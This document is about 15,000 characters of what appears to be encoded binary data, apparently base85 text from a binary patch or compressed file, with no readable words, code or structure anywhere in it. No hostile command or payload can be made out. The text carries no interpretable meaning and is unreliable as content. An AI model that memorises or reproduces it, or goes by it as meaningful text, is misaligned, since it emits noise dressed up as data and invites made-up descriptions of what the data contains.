zqHVTj>R%5pD1*PPxT^%IYRdS-(ARoX(JKntFiQGtWfw7`$|vs8YuIIYCvnX%`<}2;thfKv9b<0%^oLBp{$HS9iJK0^yv_{Y$$sro>LC+eVQ&| z34Q173z)%-C7LeYtHk`t0^hyFuIVCRAf-A85>Z{IOR2{#qRDi9Dl<>Z8(z`6Qb$XQ=gGy_(O)ZTgya!2^rKEsQu@nrqk$cUQJo%;2&JG zM9r)xsN8z<$%qGP&15`pj7u|P~K9O89Yk+#=k??CLNKx)!W|4Z} zrG|fyhw45w6t%2wN%f}%GUep_2eWxUyj{TUW*vBL$vLvN?%`PK^!mBziqkxFqUXt5 z0)6IOblK@dnfGVf5|8#a^1bw)hp`{-GtO*z7+2drqi=3M!TV2TCxN@IWiZ)VS(^~r z;`$e%_pYfsV2J0uI##M=Yp;WZKa{)8jnFx!4w8K6Q#v)BL}q)~$kvN%8y|I93RJ+P zr*@=)qnCu{pSbQswFY~F@IHC%5@MmLuC1$|&LZL@V$y)KV5a+F_c^duvfbE+f-#xx zU`o#o(0rwJ-@lmc^BL}2JVMfZkJY^*bl-XO&UiV`oQmBMyvy~I24n3e`|F49YJffW z@SRJjPkvh08u?)UJ}xMv`5vSZBEt8{58C5pTUCEJwgaQ(il;ReFI&MM98#!Kqw!5H zzGh%K;yR@Eru98k*9uH3+fjqK51PIt=rpFoYOL(7aNmbq?>+??HMka5O?4$?R3B4z zW*`}I^x_7kcmOT;7lFCkemBK+(;Wr1)#*D^y0B9_H4RaoXbH|mb751<4ONJ<@P-;O z65TzqcX{L#joEN6nvUzhJWtegfvd2Q)-4(Q@KGkSS7}yH(geHs82x#q6Lga6Gt;3lX8O@ zkWa;&075wkX8 z2T;L@m==Tz0alCuu#+ec{9N9N9l$@};Y*IT!!Mfcp&r*S9!td=Noe=6wBTd~ZP90s z0o!99i!zrtOz5#mICzY-RD2`lb&x$mnYiyi>@f<+IppJ?9m|15=F3Ct@Frp4F{Jxb z*JMRag4doCPQ`}77``77Nv>1Os{Ikh2(jwrG}r^FbV_rQ5Kim9v+>S`JL=PFe=MjR zj3uq>1~6SLJC@pa5xB0Kj%m>+bRp`MITp4@4 z;(dO1Y-e40tm{*X3>k~I4KHvxW4q;Z*uj&+(vTKNJ4J}(CTv-_q!Ri<$~2f3NKlaC zs<2XKip!BhQdAmddmi|d?%1chW?-z)9X!x6xwT7Fh_=oIs9q!zJ%pIq$%tr@pd1zw zwh)gYcC7@XD-wMl*R+1vd+;2tbtO>5xN?Nv*TKtWOK1*AS1~@*f(7+cT|%wSeCpLmt zDXi~ViI~CCzYXAoyw0BHN%aPSRiyvpqv)HzwefFP^d<5AxDA?EKA9_ zg^sDnIF5OQ$T%W@#OGQ%=EleSV&m+f#mmtaFPC-xka;ubw;K=9IQ0wBIM9)tqEQrG z&|uMXk?5^o(3v?B{mU6`cLKE%LyBv+q$&R*keGk&Xms*bWzLP2Io=QI<7M{GYt#jl z9tAvKO2ajf_MyK&6^U+->7wHAuzjKJqk0nPs>7+Y)#24kc?f{`K?_cC6`@^wkgx2R zW`@pxSTRpQ=D^i_S3Z6{jjOsa9i!KeWZ>_T5jt`gjuhf=!^paSvpw`$UF_QY*tNMM z)SrD;?2Z{DkVblvF_V$dR0#|z-Cz(Y1)H3SSN_Og*h?`Sk+-x#j8u3$Ec^71Prq%S zZ`)(*wC!6!#5Zr+zh9b0>puSb@3alp()%O(_cW%9dtAQ+E==tWG$}p2nBZ3V)Yh^# z#15GDk)gFsun&hz%7Bo?IqVpGC?gmniXm~)-z)7a=j*3Jb}3E{*~--6qP8YTGHqy) zyW8}+?6jHK(_k-BmK)BL)rdEyp2`kzQ>((9tet8M>8F;3r$7<_syVF4f1u&M`Yi1I z?{B!@m5tJ4W(=!yRr&YU-`kKNt8+>IJq`D|l4PnKQiip-a(8`e1C?E>W%vN(F1Fv* z@DmqZ*We3=u}MNN%df&KjLL{D^)0bG6|%dbC3cUTrSVw6zp4mmpp(1pRQy|}XhCm~ zPVqsSE-BW8@UB4yKHlxZ()qD>Wj_eJ1ensmb&4oZoijyS{!i_H5T=Wo(&WRc-rosp z+Z0%jSB9qNYdYtO@cjVx=!XTGE=_M&_HXPzJhDu@K1A~e%SG?g_QV13)x&#XyG@tgE=>vJ0tC(;{$P8aEkx~@bI)tb}N zGS(ur@GplT!HW!R(Mr1a2r+Y%Ta~@)ZKYE3UN!Vjuq@|iG-SH$Lz%A3#^ijqL*e^L zY*$EQdd2=to|rKxQ-fv53zs+xBs+6&QtL!L-bWMM+wy&O# z-3UsQ9-eI1Z#rK7w}!q z#yVGmoD61_y7~pN9tO>*Rh`HC>@G(mt&0@-Y*rEEC)hGE5 z?55DCY~b8cfmcv}Sl#!Up|(v?@Pu;)BJNE$F`nCt1bGA=_FVzDl64?*EY)G?^SRbkT@8usZ|MccnH@^s-Nh>r21p7ax zvKtY}2$&AvcK#guBK>|yi851>1~!&U;SZJ{qzKKaBVn2r%>#D9v}fC3Z-`+FDMtQc z^tH22NWV(`TcnW6a=hJ8j5=I-Dqfxct9pYKX$TNl48GG7$3uGn-63 zA6Ch*6vC5^zVok+YX#d|?+bsr@hglC`fPd#$erB8oB1CA>m8mC49mwxii}8Ug>HEk zDINjBmYKy=k>bz8HkwapK8_&0Pqjjg7K3}TXkg}m*!;^cH#9JH}40$?k>w*o;mYX&ti+4M! z#O01Rom}6ob^Mmuh9@^Dw&d#Yd&_iOyVbeS!EHNc*s|enr$t=mn4R;qptIiLEZES! z>>h(^ud3bNzOJ3-2k5{UPLxg-@EcuXX;6r3>)M(EdlfIR?rXupp4BnQHF@zGM1g;3 z6bJ>N?+Xz-`EImQYM2QYiiQT|tj}*`d}k3~68OlYOivl`!9_nP$6d>DmlmEIHpJh2 z<`Rv$jCeVyS=c|oJGOR2>29?v7uGDz>Pv`4tpL~eupx#`dIb5R{u7VG*5ko33YC+7 zKVxDd*M4?3`r9*zWDA@(6LEc}kk3T_`~~m_;BnT!HNlzu4R`<9sPGMUf9w8O^cSE? z5d9^02U*vI_MS2lW@kT378rOLkw|7Q6Ty9S4L65OjfPuMKau@x4#l!;+?%tQu{}=y zAuwHMqmP|sU*gdEBy!=DP@kJ%RwM}R7K7Nq;+zk|u~Xb6 z5!jnn_yx5hngHc+F0@H25I5Y-M3$qUCWfG;ip;&JgYS(B*tGHJ!Ewsdr=w8|aw($y zZRbbWnSPGCZblPCVs*|naxNZq?ne}E68Yy@{aed%554vfj>!Jhg~{R*W{QHZCy(#7 z3XCt`O|=GR{~z|=1U{-F`yZ{_-AS4dNV9i$nsBocmLv^?9kkQk2}#%j1Py}bc9Mo} z$z~P>M7cl^P>`?(1POwQfEpc`aRDcej>9-Qc0iqgjB}F^K^BcOYDYoxzUSWV5E=dX zd++mkpU->$Px_O}seL(h>eQ*aRj0gxSiyI%U*t*-ij%S4yLBS23b9e@bX~kjloq+ph zQof|kJE@)SRfOQhOVUPNf&JG&`IOS0b~?56Htu&&4#WrBz2WVUba*zz2x_Q|%!KB8 zBhG`?U@qMt7+nioT2rv_fdGBt!1+=;=dd{fB<-lJ)~oV)uBX5+A6>%OAe22Adj^o1{>7>{2K@dP&W;!ECsMeT-%uJ9&xT zhp9*2TtVAX%1k_$W5qejC#MeQOk<~8l4yr!fH6A%5{j3JctTC%8=>qQb=YiJO_PS9eY(o#es3ymQ3;i(8#8vpyGD3U z@k#*N9EdmuglkwP-YKeS41hb3@<7?&p)9%GD2qcmD^Z@VqbwgTgl#RH5ZDAf;Y}oz zi+JW~+RS^>M3TgV1%7>fs@6W_0g8n{XXvb-!r8aQp z%4Rj{1{w;c_*6#@IANAGEhUzdm;M2qQQB7OPd>9L1aCVbKNZ>-%rdvMFw2$}^}K#f zlviK0-H#Iw)eZgI1AZZ%jZLk{qfWpZPI%iXz*5;5C~T4lH+X~M3cdBj%v(_ZIiL>~ zO#Wx!uLFI7{a>au@xFL`3HktWqqKK7UPilB-R3q&fv#Kd=2AXW@@E)JRFBQRG-PKw z%Ge~`m6n>FTr0nA((phH_f(7pJ%LNmYJk85u0N5a3{m%0$? zA>@5~KekRmUkI5^2I>RLjuuw3qeY$Gx2Y$Mfy^B(^Qmv|2|(Yjk^44K?yJXI2(Ltw zl)nS{QW>plG49Z2f*;>R`}rL$P*c_tsh!oRMmo+HMl?imO2mCFT5*%4McVPy?i!R` z_kQz+ZZ(ZH^MGeIm-tbzrY56_;^1-J7D2|3Qif_-P?N^87QEoG77AC_1UF?PT*dBb zK9BySItKabI1c{Qb}Bb*J_CRL&?le6EZW!bRtC>BkB25h{Np;l{kJg%_(pd)bXqXyf^+eJ#|UKw)iT zx6DlvS5A^QH zYh8~ucB^`*JUDP#0n^;YyoNsr^gWc5#S;FWKS9QCKc(@VcL9Vj}mHxFwerYCR6`XzDoWo0k}aQTPdw>TT2iRe3}ua<7D2uo$87B)Fv7yMXbEJ2)qDw z>eIT?$FnT6WuC>57u8wA*KiOcu@P9)*aNuNzE0x+v||PjLK#fvMR^jnljC!x9wjx6 zA#CHNAjaNcm?P1TZ}i|5`k}Few-T=S`P)}5tD6@8^~t8-Nqd@rn|n}~W-sv)-r7WY zP~TEtL%g}n_!^pPlzBy(t-P6MQR=8hUA1*$?^x6`l)dGX37)>hXIA1(ybYK1sAq^! z2^`OACfXM>(a*Y?=4e*gqybI>(C6e%LSM$gq=c?%N<=;N-1e5#oHb1vj%wTEg?M8f$yh;u4-yQKJ+#n^_R)KtwqakY?5im9NF^liS{dvsJl)AFQ^ln zdP#HyU2+(&69vLE%3_3)h#;k{TC6R=D1Xu*6wOHi)&geWKZ7lW&7WsYzhS}x4-mu zGhQui4y}2=nbp?xnT&AmYDQB}%Q_hkG|n#mr0~0IXjjU(8uVjLW9abJGA^{}d*TUh zw2M_`HtEsF#0#|Mn#OMMr*>l#7Gq+5v(~&lKxJO7)|%G@q>b3uq82tuy^9`eB7X8I z@}_(zsUYuA8n~(KEr20)pf9wIWo~FO(R{dx`0jj?TY`xX2BVx0|ImKL%tJl`oq>qu zv1Mj!TB!U&;6bOOJb)|R+Lmj;_Xonh7Me%jgdOr;GuCmJPw+I}Feg}~W>xJbY04j; zz`VS%r91L?3H9K{*EB~$*5On&%~YnEhYZJUymUA6NAJmF8^jRY7iDSrn#NN;*@otE z$|DDPFfpr%1D>A+?=kDBzO$NfB{Z1TDg4h|x27c-`B9zTL7fN(RMvL1k4ODfpqDA3 zPc}_MUNk0z2N?5Utuv{TW3D@ZrPVm!3_~|0xsFjhh(&|53)pk+#facR8KxUVJD2-%fS z2CZz8MuIQtke3GIC=Yd$9w7P#Z>X(l4ypp3vIUS8HmJIl5N)h)($-Z5XxQ4OaQKD5 zuC3kJ(ie12^MD5V=rZ@V^cB!&NUyfQKrXbftY%Fn#-Q+6(?Hbo-N>58K}^%6dV8%D zV&2ojSt^?h=04K5z-LI!_7=T}z65Q9o%De$6wIWW<`8KO>bSS%25=G#+>Rr;8}2cv zvsSmWg{yr6biD?+nFYCgr7A?XHb7goHb5>L z$X#+hKtCq9iMBDmj6BMXMtVK`hSPYMdGgXq$i69|3J;^a^>uq&;@IYv;dLvKj@Am& znK-uc6Y$n^(QIW?63VdCykp)ZrG&0-dJS%W8MvMttVbFCywAM>o(tTWrBy8|)OlA3 zyK)Y+SH6m4Sun1ZxZ5aV1YnL+SDJo?FbTRa(f3;ea84A$6N1wYi4)!Datiq&M(A zNT+TJ?^VA4>eF$VRm8BQah*8C_Y*aUH01p*GYfl3AYg%|S_!9EdunkRR zzB&^h4*?C*d=!Uve!GHW2Vwl{Iz?7h+S}hkBarQ;HdDGKm|tj4(Xcg5d#NqpQ7*Qx z<=x)E6RjKhRVppNCV-(I!eI}AoqKz=6vFnj4C1lI(A6~e8mW_zuQ~vIZ}#<>hOKUz z+Npk_moXOWW;9JAdUl8x8S0A<3YW7`Pcw`LMy}^9%pVq|u2e6Y-yT9f`Vqv7<`7*Q z2LX@Fyj6CafJa(e;C)pi^#jo|#-1_G#|vmqua)bxx+%_Fi9SM}gPv@n`Lr+SJPz^! zhjkZ)F?Lt;a31p|{}|ZhoaSDj#U(Umd^9)!^&mb^c+00e8P!j0>IHwb&p#7%Kyxk4 zv)$oOGA6~xy7-crWD#it#*!jK(Yl0andWmd=5p$j%iWng|DJdhbPJONV}jAZV83E& z^%SjHhkXYrRDN3t`%Cl|tHIUXRXv6LZ@O_NqGRt#37hH*Yx=J+qid@#?7d$IJL3yG z>xTx z(8?E-QJc*ouY0flG{nSq<88b>HB+v8%Wl@CZa{fh*SCYWH0o%~nn8=83G}^8w`#ry z{wFWB{Q={iIV2Ukdnh)t9a!keoQR*Aloc@FX<{z7{t zVW6X-@rcW>YNGyl`8D)4Am#JXb?^w}tKo?s(iq1&9P=zM&rhpbvXDlmzdG=@I?x#6 zWKmga+?_!@Ex(~jB~?lkUn{L_$$8#O;R7CL9ENNsxZf+Zum-nC0GE@)8N%Ten-o=l66f%C67xSD{T%!IL$e< zM%0RrOV1*%J#!uMTiY}Pb_&l03)&|t zIj({p#?qm^Jr6v{+yZ7i#dZ(80q4*NbqBZ=zruj>T z4bymXaT;SWY|!iwt>YtY!FbKG4&OIAzrojrGpNcNe67d(nP$ugHr;PqQ~Ri0jaM*8 z{}aBK#5^g@2eonMScF3eGS#eK6;%33(_%KXxZajt2F*ZpLa)s`lius&1-#c+-tk^v zyZ1i%y}sx1Uf*QA*SAR0#*UKT>ud8q1>Ge%zW4fm2R)ZH>v5k98jM1u+uufQ_s+T* zv6#j7gw~@~c$051_7K~kE023R@BWb{$vqzLoIbNY60fNBF+H;qyP4pByd>LvKfN+XZ@RMcZPKf*UdC6T9gx-kAl<3QsjG`;gP;?i z=c+VS>!9n;pId-b86`$G;OK^?3MV$>zwzMhxLv_GjTcd0<2qywKgYWxT@H62BVHlh zd_~W8WiWiB+p-%s`tUt}M7#GT^c3l$cm}a}#~dTu4Xr3o?H6(#b->|%Xg=aLA6T!3 zCLFe1y&Z3l{gX6HsCVYDD-LjN6$|K0mH~z+kMSjfO@mt zD`kC&ZQgmP_W;ju=rY)PTa81`N1(=Pq{zBfBV)s6%+wzcc!8lL_EfzQoil`POtyK) zAeUh5bZe@9hrD;mJ>1RnNBxV&r!PK-Q8XH(h=ZOkCNZ9FvD5djy|vty9;Ua~8)x8V ztA_Q(7pu5{&s6x51pMRFjrtr)iRvR@WVu@-dZl$&87;k_31O;rYO-25uo#+T>c!Y^ z8P3&6!vrzrdj2rgZfj7zHtmi3M`iEEmvnJ(8+eWwq2&h3WzyX)h7Xb_KH=r2E>uMnzv5A7FcCeLu8YIop0IS9yoG^|*Sm%48WC zF25GI1G??R=nIU#6AcFr<2;Fr`%fJw3|U-<^LNvP;U+82xhIcZRWg1_a>=MA>XJC2 zuax65o0j4AY!3H6CZeW2Jl`7Vw!;Kq?$N7pi*X-bNLbA6tpIn$SdW6{8@c^Isp(tF z2z;Xn!R;Qa=^jra-cME&mjow#|N4RT_XPFEi>1>(xyA3IuCq9M{eJm<(pSLe!0)2e z;7?JDhX(fVN%|i`p^0lgs7wRxa_!zt;7Y^mF*3&SLLh1D8x<)%yPl8SZi{q3yOO?> zM7g$FwP(4B1D71f9fpOjC}?V4h*m|oA{WP)ETaY2{=9xd)Zz$}lxH2GhA!v`p(kF! z$rDCHw}xL2U8_UkTdl{fQ~R5&8S8O|BoJpv)bbe;4bG6nEYaW$$xQzl65Nc7Swgo2 zG&oT{ES@7*Qkk_ZS(iZPM|2)@eCP8c&Lz57RZ;-XkKpCASToLV1;=ucnbr~bq8R-p z7Zrf-)!Ejsyyaiwjg-xdAA;8ggH7Frgr3#x$}r4cqK*i*MtjCaaGTLjk-g}|M9ine(LD2Wm?Vos!2AT|_u5&SwQTTd`cUaZZ2;2eSqB8YV&yR3^ zL-kKOyNTCVJDu84Z&U9J+%s69FS>Q9;lRl$(DvV;$=;)%>aNq5OlieixLlQd<^x)k z`amy4pY%ABDtf8?n)lK*TX=QyU?Uf$I?5eVRpklK3UMZ{m;ahGOQ38s>_*rHM@U3q zS};!bFR}N@j==Zn>M2y>D13SP9-A^-_A?fOH%I&8D`j82x!iZEGds{!8QCXoul)=g z?pkcu{LN+82x0_x^sk_Gh7-nrZ5xj>T6DYRrS@*=ZhNq67_`%Io}1pc+5)FT>$LAp z(;YeJXMC^!78_+6Y$k@lv>msF2jJ8tG_0Sc(+<&6pR_*HLSmQLZ+cs=j)W|*+`eDG z4mw`jyldMqOMcb^-@&2N2>(MOL#FjN6;TXBnh=~eY8Iu+zB&rJ7HCE$jY=2F@OE|$ zW659_%_#d6>@UHu1n-WAM3SC8=sPp?G-;qQjdaXi^G1Fh5Ux2#clwm~?nzT(UFzdV zN9QoK$oHCeiTnn8>v7zAH?4$Lcs6vAXQkDAx~D17rp9UYKDZBIx0paF>Y-diU!0Ut zTQo6OjlIL519`zmIGwV``eS_$gT}B~%Z3Dd=;YcL+1$9VGNF40I^Wi_d}tz4M;R>> z@hwtXa0w}PBSn(5UN7on}HeLTk!WR zZsPURTeZ-ER0cVplVqw1drZ@bmR6wuq_L|-+<2?U}J()G-yYvj_ zkyV!?iq1vd!(PY?0iDK~DE5XcalESaLYqB2&gpV$Kp|e}4re^!S3;j8m2$Y*lbyW> zcJuKVyfD4YKC3XqG$<)rKhagR(#9Wjt+`iQ_G?U zQmN7TVI~W1T)~eSe15Uz@atxHZAK5{QKLF$wf<52P@7eF)x8;f;@>WA@b4V^_1_5N zZS#crjivC_)*pA3Ir0t11THq#cAsFHHM23pwG(%|YNf-re`s-nZReoG;SC#I@4LQs zok-n~!aS22clvB&8@J@4WxH*(utka<{71uyRQ0}gcEYaS=}b|3#<-88 z)e()kDFL3XGgsK}aK8$-q4Bb?U05c)@7m~o95lQM8oAni`F8IpA+T|bTMd22>@?T- zqp(wmkuuz*k+LVWsNsb?cTbaU44wbgOa0+9!E`s?M1(Fp{8xGUBka42>YWea?#&I- zV(31Rx-f;EJ};^FjTM09NEScA^LMv;hk9S}jEu35+W*MB25#pH)WSj94)-mCHvise zU#W|WIcYg;D-|Lor8RFziSA7p3qu`Dy5GTu_V?sKTgn)@Wk;p$jvj70F-PrwR_fCN9@Dh&seo*_FDtbY(-1Y2`qA#u-m~&Uhk$G0kv8) zbf98PEHB|$AWTy+^y0u|!O*In4#2Rw_Vy2oI93Fc4MT5>cH6QxgR9bRUS{9wK8Y9q zdbysks?TJ(x*49Zs?KbI&ZO_^xvKuIOx&ozT?yzX3)nJvQcz^#*2UFvq^WlRbS zG`VIjv&YPdQzgg8T7Op36=ezPzv`t!k`IzH#836HX%Jt?>lpx&;kl1@qQ9!%9h z2NKTb?S=l(rzQTAS>5*8*@c+?vx*RN=d30k8p!vhu&h}@yk;y;ZvJV9^~VP29jo6a z{ndD{-sR$=dzxx&E+N)7MEFp9pD-xCf5Q|g**FR+>+c$1iXOXEp9CsPvh@|TpfbEk z;;yomoq0ldN2nIg3MEo-FoT}PNYBLSgZRVN@P@m?+wau!(47aZhhsBd!+i6YeoV;d zj08)qWsN>QL>1Z3(lhdO*v_y+mb&iC!UpJX4(wt2&NAHcD626H&uDP4=wYxvrD8 zji9RcLN#NKv1haU8=wWqV_`#0-(2hu9y8wkB&g~@2UYc+w%N7Z&bx8S`pn8-psM`q zq=BrhkYh_=E`eUYD)>1qmBOuuQNfUY&>%=4&))b;#<_?zwhYou1Kv-57xa9fa3Ai} zk3;Ck^2+W=W8Ktqd@8v8-g$2D)m74NH;ZLMLp+~HJJ@~tQIKBLXDVFt4On@c`8{?Q zzNKMkV_)2soOd&2wT{OZuK z`>ZYc1j}~Ab5r+PCpX}pPOJ7tjn(GSm^ zz1BE6=6|k_aA`~>c!g_^m3gun7n%loVxi@HyEUp|BFfrp9dvpN=C65$TGJ5odxi(Y z(yW1&9oD`LbUyau>(E8-dC|~Aa#^|753jSBb?N7#?!!&9b@MdQT%^XfVOEy45^Zvs zfAZFS%_0TUr23UOAvdis#x!K~HAAkopXDSpmxnddnuF2H!?7e8L!?u|qgtMQ(w~P9Su$xd0K__!9BwGsX@5ywcC9jFaD9VFx;S(WsqUU?v~T~7URgNT=a01^-m$w zkOiKZm=PD7in8hp&pM)|+|=Q+9I^rY%j6h3)nRzpeiH9gs^psJJmIb4Ev|>u3?XZi&aOBwhgj5 zg(-s8oFE-q%&~Bcr%J$2F>W9duTa5mg?-EY%2@h0+~2x!UkK(7*jEAm8)4%B`@=j2 z`;RV;U4?lS=BD@PjS$@CRQ3ZF;&klcFaG>R&lx?ZK58#1B>Mi?kZcWso-o#M@r#QW z)m05H)edcJZYs1XfG1{NeB@$-D-id^He9U6`RQj+2Gy(e`14bnA~HZ1&&_yl=HBd+ zqn@axcRJNugQ_02udt789OAm)b;O0cyIZtdue!SN8Vfg^d4@Cwo3tY#gGC#uA0jpw zO_qRaRg}h%>*`}+9z&x#;&Gd1%YJ>}?zjo7^fYsXLiXB*eTFi}?}P`XX4f4V~a=ba&g_t-3Hh!@SfkGOeDg zvbZW!^GWilwqakXcYU|&sgUeeS+?4yLh|VbIgOouS<<;{Ao=uxJBkk2$8in&`dI<`7;JKS5Od*BYJ4%~Isn~F1|p?HHkaM!2Nc#lyZv}Jlm z9#ijGX8$C6h*7(@KJ!`O5lI6D(~#2QhIpn-9TZt@jcKrjw@);LXd~@Yds)_5{-h7s zY@Mo!=p7Plsj?XK-9uCn2KcKtzui5cx@T12W`l8^QH|TMD~+f0ny3CWkc&8j89dlx zVZHTD4#qEa2@c-DLE~kWC1aEpGtg6vv;C-FD)btdCG2;^O1sz+y$$lfAV{6FwFZ8r zQL|f(w;Uh0^fKLpd3lvhgBuwAJnx5+9*%0gy2_JHeUQ%7rmrrV!1Xw{x_TXEqmMHW zI4%eWA>#~4-;MX?2xr2G-KxqCg$7suOzWG?-EnVx#)-OeQi(b;|8A-me{8W z4+-xU?sA+5)v}m&ul8n~p3VXHp2`h=#0qXn{ygn!w4Jns>GVTPSG?asEBqfl7r`U6 zz-JNgT$``(ieT73hTkN(d&8`Q{Zbyu1#4{7z#HC>^e!!U#X4KOUN>5AqC?zLtT8(+Ov)VH6lSDc5}Ovev#uL>J&bwyrYBqn08LGsK=(Ula1kplkJ^)58*E9!W75`XbZTurO+vYJ)>ZA^g*RdLxGv(h1oLuiEBT#5!~VyBNa2D+aH zhvLwu$qqJz_vAt%oaEk*u;&`rIfzGUJQQy~L7cOv?B3a!2Detqbg5$lE$Rey z{W{yTLMC$F3OQn3V;0H^!5p%>Q572t-u|^T9sRi0{f4z~{ktx!d$l9pFvRv}tobn_ z>Qfz$K~3lq`#WxuJQg=H=$%Tsxu`J}tHhxCwJw|EnqiGV>%MzuEofB79uqj#h>3G;v+TEV!hXEb6K(#8)fpbcjj3U1 z=LGi-v}|N!CEPTMRG4Yl>7k9^3eO3TOZBd8SU-k(b|Cki=&^A07(pX$aX*H5{Tsi* zyPM;sS#F)FubEyu=;hXogU;Ui1W5~@5vCb#mheM;PyEM-GwICVUDTn}JKe7#wO0xh z!f;o(FUG^87!Tzz_rZLg%P|j3223E#Q3uC1z=Xr}ggGQ|j76~F6Fg;U)ZytV#F=8Sa^h{eUs*W~mDlId9!uJwh*eg;;jZxZJG6uE zNE;J!hh>2250*)KO~k~E=#UW0^Oo22s)(MEEJSPB9M&^zt);#DNaLr5ZwAJhPFe8Q z_~7xDa@Nf-B4bDNLezmppLNjcDa*AJIzZR4CoSXjvDg_;vZ;kEq1q8Hsa%Zrt;u-{ zc*RProbGbHWqS!Lrw>9kNj0o8yT6`p96+%IR!(8qJsTpgoK|{?+T_bV%> z@4bJyp-Vf5`alopynWEauW+>wzNB|bveB=7VVZJqJ_e@qJe36Z=l5YwgE@?c2-S&Fg08_?T@LOoxrZ2n0J!~+|=9ySe z4mKv4PFPsPU}#Wg(eqqtex+@F7&NAz83G+S(9wdq$Ykm#nM^;0YDT}vvfWp*tFe~| zj$048YM82CZNd&IuCrIB_Aq^ZkwvRjcy8nMNCnT47)63Wjdu zOsmdv&6{y0-7K;R`Z=x;e3em0Y_h!(b{Jay`eIsELgi9ns6?5T4a9#*RU_tw?xLQuBefg+d~9c#pN^2w!XO zoi!+NK!Xhr{=Q{dX76W;9_`Zib0uJGCfNE59P|*bl=sfq=`GS~dH1XV{7@O4ah`a2 zbozJChNdaIX9M)uJ>!G0d&X^v&ETrHrB*7tXS@!3I_j!bmY#evcF)wEcL}}q{jhts*D+RljP0b|v)e~1 zWX!vUZ%sL4a6I8i_POpjGY_uNq1_s0%e0#;tm&X#yfYN79vo$wZ0lo75y}MP)K@bP zrao-nhgTxPJnhTBq;B{1L4lE$JHDfNa|_!=C~b4mIZ8jZJ0x|rYu_1V#;?xTZZ zkK4+pUC}~rb&WKgv+N9tgg(t7rp>nZ^*po?t42p*=!m*J^G4}CF4cZlf@jPGZ#)4kDJewGcr+k<(}w9Ast(yW|qx23zO zk42%qLzg1)dR6qux7jTH6L{%rPwG>ybFSQ!k@fhdTtCsY+VXTqNpaZAJS)_(jH#9| z^19>mfIJ)f*{kArap?b>V_uVTptS#zYA?1(2xR2|or){6$)Grk7cX516nai@o!#q)~QNMW!g3+l*z*oV<3 zsiD>VruR8$d=E`KH~3M^(`)9v;G3s!c-yY2efPjiKqu$2Irev$=U^`1jXiakWiYug zH}0bEm>SG>beEF8o<^9idf)i+kTu}+Pu`~MA^85xqWeNuUy+Tz&VG1PgYyNEChde- zE-tD&b~}2z`k-I%6*poeRxM4qeN5ltXw9Uq(&DRZvN_=FPuOFUbBcXUx-Vmyy;mX0 zp7=V8vnzr1_slrQr?5xu<@1O>v(p&9+>*R;12=$)KA)DIa%OSf5JHw$9da_|mDf&i16a)Yh3ET~u(Q`s_qg_fbKSTcJ}(NYz<& z^`K_Ff^b$lXo%&kao~3A{mN_o4<;aV%P^HeVTu1r>`C~ zzW)SW1O6|^tta0?KgDHXeFc*-hx)ADI|_Z%cD&E@AX6W_mNz^*3X-rIUly)-Pkqe` zJu?PH9LU@XwC8$ZXQNx> z74MUmY*t(HH9aQDn%FTT7UXvgck z$gAhM0pRR(D&dOPh22zb{gox%BFz(bTP?|BI_0~mJs|vY{U|x#Daf}KZT19pIwLkI; zfYBY#iyPh$l`i7Dk~MpdeqU-HKN;^~XLA#zA0yVWvC_b_(NaD?O6tpxkbdN&B{9;& zhD-Xip^}!5lLn;4N*4IGdq=iM;Q!qAaQuI?Jq-V!Z`VsddBwKaD76qGi9F+U63_R< z3BWWJbg%Iirj@j5fzX(oX+-Io_D}<-J@MW6Ki(p5nMW0fs?l>aJ9#}p{0v)%9KhuaX(A5QRuFCE$MaR0XP=kr@|2lBGsuhhp6JEvKI zaKF1~@h!XGk6>s2(qDr*he&I*qw+i|do3E7r z*8t%FzW^8m%p>IJ__f}tSfecpoTos`CIzm0M}haZ$xy6JNM`tXdgsZo@*g{8==|_Q zf_zSm$_jYt!L+dipV?-F$jvM*d(6)OR)xQN;#0t+*zXpH*qA7dUHVS4jny=)xjX4W z8#^^)QQ_N1Y;5vo;X-z!&9dS6l7TPxvuA$Y^yvlTRQr}srU!o1D%$<&1{4JxKmOX* z)bD<{^Go&2annZ*H2;wH(5id<@8_IY->~!5(|ab3dj8NSQQxPJpZxr{_MbwZ9l3Ys zhL5yw%#X1ZAI*;oJQYm)Fuz4by;yJ7hxKLsSbsKv>48Th3u7iWkcG2BjAu~)hR?Fm zEQVp3hsDege6Sma&A)gk3QlBZHiC_0qgWCf&Bm~?Y#bZUCa{TY5}VBKV0SVLbFf^N z$MTtzEo6(Bi@DkTY%wcfg{+7bvl5(QC}m}=oK>&~8Ftv&QnrlEXA9W9>^_#mg#SnB zA7;xz3y-oDOk^wBDz=(cvNh~6wwA49>)GS%3ATZ4WKXh9xX7@XZNasyZEQQ+!FDpJ zBZUf>r`R60mp#q)u^P6YJ;M&LgX~%M9DAM}VlS}6>^1f}uGGKDPOy{gE%rxN$KGatV(+kb*`L{a>@VyT`zw2&{f&LVK4gDqA2AO; zDxPL%*vIS>_9^=ZYhY*DIrbSl&;H3iXa9n*-N>3)GrPcA*ca>~yTrc46~HU(D!azM zVqZgn);H|m>_6;V_8t44d089#f&Iv?vm5Luc9YRI9OG1KO+a9fwp(!bkRCllb-jA` z>D#aW0KLH&W*Qhih>wVjijIjL95-a>u;K9uiRKX_M7u3uc(pE+>w+2@`=^upmIM_+vD<=R(X{oS$SzyHH) zufOr;iIZ>rvF`0Zz4Pv$-}}p{zrO#s4?g_+N1poAXFmSq(|;*_u3bO>}QJ7?_&7P7vB`rN; z>a^)IW@gTsJtu4KU3X{CyXV)5@D@EMO}HItmJk^AwLMwwW{T%E?U5 zN@G(}vfxO~v8T^wX*1_!B~MFFo|7_%O|$1D&$Xv#k;R^3ojaw&k~4E|R_0tKVBU=6 z>FKtdyHk>+Iy&^OT(7o;f>xO8SfrXXfmbX)}}U6f<-7%+&O0DP*0KHuG+j zm3||RC^Eqs3DYmIOY)1MV zrK}m#=E!kpr_7l-?XDbZR}Qt3!6Rp8W>)&l8FN_H^h|1W);;teMJJp}wXWoCs&Z{UTD)ITpR3zpV<`=k&kZoD6yC~6-pNksG^+g!iPkBWd zlzq7KC$PEnuOkSVBgxXTa%W+poUo*Xnv~}(L*;+jpO4FT7Jz@{4mfnGq+;VB1dk46LWG$`U-bJen*tN!h{E%rDfoPj8f#vf#pj}P>*~^xr1s(2wj?p z|7Gs7@&wc(p|rTTJjanISIb$nNX|NOVHtIXyQpHx?e0Wp(Zb@=JSV1gP}S_otRf~q z#}Si%t3Y2B63X%yGwLU~X!)PBA|Vf#8;cgYOPvX26;z9g#Dd~QWr@C66=lxS#F+fV z|0!a5VM%=9;xbpF-_n5$xqHg+HKP-9Z*x+@j_@VaE3(^fdC*yuUkp;Z&3&8GpRQs; 